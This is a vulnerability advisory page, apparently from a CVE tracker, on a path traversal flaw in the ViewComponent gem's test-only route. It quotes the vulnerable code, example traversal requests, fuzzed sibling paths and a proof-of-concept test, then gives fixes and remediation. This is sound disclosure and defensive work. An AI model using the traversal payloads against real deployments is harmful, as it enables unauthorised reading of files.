What is the CVSS score of EUVD-2026-31971?

EUVD-2026-31971 has a CVSS 3.1 base score of 7.5 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. EPSS exploitation probability: 0.0%.

Which versions of ViewComponent are affected by EUVD-2026-31971?

ViewComponent (Ruby gem versions 3.0.0-4.8.x) contains an arbitrary file disclosure vulnerability with publicly available exploit code; remote attackers could read files outside intended directories.. A patch is available.

How to fix or mitigate EUVD-2026-31971?

Within 24 hours, identify all Rails applications using ViewComponent versions 3.0.0-4.8.x and verify whether test routes are exposed to networks beyond localhost. Within 7 days, upgrade ViewComponent to the patched version specified in the vendor advisory or implement network-level restrictions on test routes. Within 30 days, complete a comprehensive audit of test environment isolation and confirm all instances have been patched.

ViewComponent EUVD-2026-31971

| CVE-2026-44837 HIGH

Path Traversal (CWE-22)

2026-05-08 https://github.com/ViewComponent/view_component

GHSA-hg3h-g7xc-f7vp

Path Traversal

7.5

CVSS 3.1 · NVD

Severity by source

NVD PRIMARY

7.5 HIGH

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

vuln.today AI

5.9 MEDIUM

Network-reachable no-auth file read (PR:N/UI:N), but AC:H because it needs the non-default condition of a reachable test-mode route; confidentiality-only, so I:N/A:N.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

None

Availability

None

Lifecycle Timeline

Analysis Updated

Jul 23, 2026 - 11:49 vuln.today

v3 (cvss_changed)

Analysis Updated

Jul 23, 2026 - 11:48 vuln.today

v2 (cvss_changed)

Re-analysis Queued

Jul 23, 2026 - 11:22 vuln.today

cvss_changed

Severity Changed

Jul 23, 2026 - 11:22 NVD

MEDIUM HIGH

CVSS changed

Jul 23, 2026 - 11:22 NVD

5.9 (MEDIUM) 7.5 (HIGH)

Source Code Evidence Fetched

May 09, 2026 - 00:00 vuln.today

Analysis Generated

May 09, 2026 - 00:00 vuln.today

CVE Published

May 08, 2026 - 23:33 nvd

MEDIUM 5.9

DescriptionNVD

Summary

The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

text

Allowed base:  /app/tmp/view_components
Outside path:  /app/tmp/view_components_evil/secret.html.erb

The outside path is not inside the base directory, but it passes:

ruby

@path.start_with?(base_path)

Relevant Code

app/controllers/view_components_system_test_controller.rb:

ruby

base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)

The route then renders the resolved file:

ruby

render file: @path

Exploit Flow

Example request:

text

GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb

Flow:

base_path resolves to .../tmp/view_components.
The payload resolves to .../tmp/view_components_evil/secret.html.erb.
That path is outside the intended temp directory.
The string prefix check still passes.
Rails renders the sibling file.

The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

Targeted Fuzz Result

The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:

text

../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html

PoC Test

Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:

ruby

# frozen_string_literal: true

require "test_helper"
require "fileutils"

class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
    parent_dir = File.dirname(base_dir)
    sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
    outside_file = File.join(sibling_dir, "secret.html.erb")

    FileUtils.mkdir_p(sibling_dir)
    File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")

    get "/_system_test_entrypoint", params: {
      file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
    }

    assert_response :success
    assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
  ensure
    FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
    Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
  end
end

Run:

bash

bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb

Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.

Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.

Suggested Fix

Use path-aware containment instead of a raw string prefix. For example:

ruby

def validate_file_path
  base_path = Pathname.new(::File.realpath(self.class.temp_dir))
  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
  relative_path = path.relative_path_from(base_path)

  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."

  @path = path.to_s
end

Or require a separator boundary:

ruby

allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
  raise ViewComponent::SystemTestControllerNefariousPathError
end

Add regression tests for:

A normal temp file inside tmp/view_components
../../README.md
../view_components_evil/secret.html.erb
A symlink inside the temp directory that resolves outside it

AnalysisAI

Arbitrary file disclosure in the ViewComponent Ruby gem (versions >= 3.0.0, < 4.9.0) lets remote attackers read files outside the intended temp directory via the _system_test_entrypoint route. The controller canonicalizes a user-supplied path with File.realpath but validates containment with a raw String#start_with? prefix check, so a sibling directory sharing the same string prefix (e.g. view_components_evil next to view_components) resolves outside the base yet passes the check and is rendered. A working proof-of-concept test is published in the GHSA advisory; there is no public weaponized exploit and EPSS is 0.01% (1st percentile), and the route ships only in Rails.env.test?, which limits real-world exposure.

Technical ContextAI

The affected component is ViewComponent, a view-layer library for Ruby on Rails that renders reusable component objects. The flaw is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / path traversal). In app/controllers/view_components_system_test_controller.rb the code resolves both the base temp directory and the user-controlled file parameter with File.realpath, then guards with @path.start_with?(base_path). String prefix comparison is not path-boundary aware: '/app/tmp/view_components' is a string prefix of '/app/tmp/view_components_evil', so any sibling directory whose name begins with the base directory's name (view_components2, view_components.bak, view_components-old, view_componentsx, etc.) satisfies the check while resolving to a different directory. The resolved path is passed to Rails render file:, disclosing the file's contents. The affected package is pkg:rubygems/view_component.

RemediationAI

Vendor-released patch: 4.9.0. Upgrade the view_component gem to 4.9.0 or later, which replaces the string-prefix containment check with a path-boundary-aware check (Pathname#relative_path_from, or requiring a File::SEPARATOR boundary after the base path). Update the Gemfile constraint, run bundle update view_component, then verify against the advisory's regression cases (normal temp file, ../../README.md, ../view_components_evil/secret.html.erb, and an escaping symlink). If you cannot upgrade immediately, ensure the _system_test_entrypoint route is never reachable from untrusted networks: confirm production and internet-facing staging never run with RAILS_ENV=test, and firewall or ACL-restrict access to test-mode instances and shared CI/review-app environments (trade-off: none for production, but requires network controls on CI). As a code-level stopgap, patch the controller to reject paths whose first relative segment is '..' or that do not sit on a separator boundary within temp_dir. See https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp.